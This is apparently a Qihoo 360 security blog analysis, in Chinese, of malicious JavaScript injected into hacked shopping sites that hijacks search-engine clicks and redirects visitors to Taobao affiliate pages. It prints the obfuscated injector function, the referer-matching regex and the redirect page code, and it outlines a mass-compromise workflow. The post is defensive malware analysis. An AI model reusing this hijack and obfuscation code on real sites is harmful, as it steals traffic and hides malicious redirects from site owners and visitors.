β

疯狂的淘宝客:一次搜索引擎流量劫持事件分析

奇虎360技术博客 4131 阅读

随着互联网电子商务的日益普及,在线支付的门槛已经非常低,普通网民通过2、3次操作即可完成一次在线支付。与此同时,传统行业越来越多的加入到电子商务这个大的平台中,把实体店搬到网上,提供更为便捷的购物渠道。

在为网民提供更为便捷的在线购物同时,针对电子商务的黑客攻击也随之而来。本次360网站卫士团队为大家揭示一种通过入侵网站,然后劫持搜索引擎返回结果的攻击方式。

近期,360网站卫士捕获到一些网站页面中被植入可疑代码,通过分析我们发现这是一次由淘宝客发起的劫持搜索引擎返回结果的恶意攻击行为。

2012年底,360技术博客上曾经发过一篇针对劫持客户端请求的淘宝客木马分析,原文链接:

http://blogs.360.cn/360safe/2012/12/17/%E4%B8%80%E4%B8%AA%E6%B7%98%E5%AE%9D%E5%AE%A2%E5%8A%AB%E6%8C%81%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%88%86%E6%9E%90/

本文接下来将分析的是一种针对搜索引擎结果的劫持行为,可见淘宝客的此类攻击手段给电商网站和普通网民都带来了极大的安全风险。

场景重现:

通过百度搜索引擎搜索“砭石”,在第一页可以看到如下网站的搜索结果

clip_image001

但是点击这个搜索结果之后,并没有打开这个网站官网,而是跳转到淘宝的搜索页面

clip_image003

通过分析网络请求,发现在点击百度搜索结果之后,发起了一次可疑的访问

clip_image005

该URL的内容是一段恶意JS代码

clip_image007

至此,可以判断出该网站已经被黑客入侵,并植入了恶意代码。

恶意代码触发机制分析:

通过Fiddler单步跟踪网络请求,发现http://www.qlbianshi.com/statics/script/tools.js这个JS文件里包含了恶意代码,触发了恶意访问请求。简单查看发现tools.js中并没有恶意URL的关键字,进一步查看发现该JS代码中被植入了一个恶意函数,函数代码如下:

function CurrentXmlFrmFocus(){

      var arnElement=[2,9,3,8,2,8,7,5,4,3,10,5];

      var arsOffset=[" ",":",".","/","<",">","=","'","CRS","MOC","TPIRCS","PTTH"];

      var ardPopOpacity=[4,10,0,8,6,7,11,1,3,3,8,9];

      var strgAttribute=”";

      ardPopOpacity=ardPopOpacity.concat(arnElement);

      for(var i=0;i<ardPopOpacity.length;i++) strgAttribute=strgAttribute+arsOffset[ardPopOpacity[i]].split(“”).reverse().join(“”);

      document.writeln(strgAttribute);

}

该函数首先定义了一个关键字数组arsOffset,然后定义了两个下标数组arnElement和ardPopOpacity。接下来通过ardPopOpacity.concat(arnElement);实现对两个下标数组的合并,合并结果为:4,10,0,8,6,7,11,1,3,3,8,9,2,9,3,8,2,8,7,5,4,3,10,5。然后调用一个for循环来遍历数组下标获取对应的关键字,并对关键字进行拆分、反转、重组3个操作来还原真实的恶意代码。处理逻辑如下,当i=2时:

i=2 -> ardPopOpacity[i]=10 -> arsOffset[ardPopOpacity[i]]= “TPIRCS” -> split(“”) ->T,P,I,R,C,S -> reverse() -> S,C,R,I,P,T->join(“”) -> SCRIPT

如此一来,该函数最终会拼接出一段完整的script标签:

<SCRIPT src="/imgr?src=%E2%80%99HTTP%3A%2F%2FSRCCOM.COM%2FSRC.SRC%E2%80%99%26gt%3B%26lt%3B%2FSCRIPT%26gt%3B%3C%2Fstrong&r=http%3A%2F%2Fblogs.360.cn%2F360safe%2F2013%2F07%2F04%2F%25e7%2596%25af%25e7%258b%2582%25e7%259a%2584%25e6%25b7%2598%25e5%25ae%259d%25e5%25ae%25a2%25ef%25bc%259a%25e4%25b8%2580%25e6%25ac%25a1%25e6%2590%259c%25e7%25b4%25a2%25e5%25bc%2595%25e6%2593%258e%25e6%25b5%2581%25e9%2587%258f%25e5%258a%25ab%25e6%258c%2581%25e4%25ba%258b%25e4%25bb%25b6%25e5%2588%2586%25e6%259e%2590%2F">

通过函数调用将此代码写入网页内容中,当网站主页被访问时触发恶意代码,发起对外请求。

恶意代码简单分析:

代码首先通过一个条件判断来决定是否触发

if(“undefined”==typeof(reObj))

之后的处理流程跟通常的劫持流量代码类似,都是通过判断HTTP请求头中的Referer字段,如果Referer字段里包含搜索引擎的域名信息,则劫持搜索关键字重新提交到淘宝客自己的关键字接收网页,通过这个网页实现跳转到淘宝的搜索页面

判断referer代码如下:

var goRefers=

new RegExp(“(w.baidu.c)|(image.baidu.c)|(w.google.c)|(w.soso.c)|(wenwen.soso.c)|(w.sogou.c)|(w.youdao.c)|(cn.bing.c)|(w.yahoo.c)|(so.360.c)|(w.jike.c)”,”i”);

在重定向之前,该恶意代码还针对浏览器的不同,分别通过两个网站进行重定向

非IE系列的浏览器通过以下地址进行跳转:

compatible.googlecode.com/svn/branches/navigator.html?q=砭石,该页面代码如下:

<html>

         <head>

         <title>淘宝网特卖频道 – 每日低价商品抢购中!</title>

         <meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />

         </head>

         <body>

         <div style=”display:none;”>

         <script language=”JavaScript”>function getQuery(name,url){ var reg = new RegExp(“(^|\?|&)”+ name +”=([^&]*)(\s|&|$)”, “i”); if (reg.test(url)) return RegExp.$2.replace(/+/g, ” “); return “”; } var UrlPara=getQuery(“q”, window.location).toString(); if (UrlPara==”") UrlPara=”%B1%A3%BD%A1%C6%B7″; window.location=”http://s8.taobao.com/search?q=“+ UrlPara +”&commend=all&pid=mm_32507042_3273379_10698017″;</script>

         </div>

         </body>

</html>

该页面接收一个q参数,q参数的值就是在搜索引擎里输入的查询关键字,然后将关键字组合到淘宝页面。组合后的新URL为:

http://s8.taobao.com/search?q=%E7%A0%AD%E7%9F%B3&commend=all&pid=mm_32507042_3273379_10698017

从而完成一次流量重定向

如果是IE系列浏览器,通过以下地址进行跳转:

chinacaidao.com/301.asp

查看这个域名信息如下:

clip_image009

可以看到这个人是个专门做流量劫持的淘宝客,他名下的另一个域名也是用来挂劫持搜索引擎结果的恶意代码:http://go.90psman.com/js.js

黑客入侵方式分析:

360网站卫士捕获到了几起使用shopex程序发现流量被劫持的案例。

通过结合搜索引擎技术,一旦某电商类应用的具体版本中有安全漏洞,攻击者可以通过搜索引擎搜索到所有使用该程序版本的网站,能够很方便的编写自动化攻击程序,实现对搜索引擎返回结果中所有网站的批量攻击。

攻击流程为:

发现漏洞->利用搜索引擎寻找目标网站->对搜索返回结果网站批量入侵->批量植入恶意代码

实现大规模的自动化入侵行为。如果不了解此类攻击,可以查阅2011年那次著名的LizaMoon攻击(http://en.wikipedia.org/wiki/LizaMoon

此案例中的恶意函数通过拆分、反转、重组3步操作可以躲避针对关键字的查杀,实现高度隐蔽,并将劫持流量通过不同的重定向页面分发出去也能防止简单粗暴的封禁域名。淘宝客这次只是把流量重定向到淘宝页面,试想一下,如果黑客劫持的搜索引擎结果没有重定向到淘宝,而是一个欺诈网站呢?

电商网站,安全刻不容缓!你也许会喜欢:

作者:奇虎360技术博客
分享奇虎360公司的技术,与安全的互联网共同成长。

发表评论